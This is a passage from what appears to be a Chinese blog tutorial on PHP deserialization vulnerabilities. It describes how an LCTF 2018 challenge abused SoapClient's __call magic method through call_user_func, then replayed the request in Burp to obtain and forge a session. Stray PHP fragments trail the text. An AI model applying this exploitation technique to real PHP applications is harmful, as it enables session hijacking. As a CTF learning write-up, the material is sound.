__call魔术方法会在调用不存在方法的时候自动调用,故,如果能构造到call_user_func($a),则可以达到执行SoapClient->welcome_to_the_lctf2018()的效果,由于SoapClient不存在welcome_to_the_lctf2018方法,那么这里就会自动调用__call方法,如下

在bp中重放攻击一次,得到session

修改session并刷新

感谢各位的阅读,以上就是"PHP反序列化、魔术方法以及反序列化漏洞的原理"的内容了,经过本文的学习后,相信大家对PHP反序列化、魔术方法以及反序列化漏洞的原理这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

0
' . htmlentities($func) . 'Opt
' . htmlentities($value) . '下载 / 删除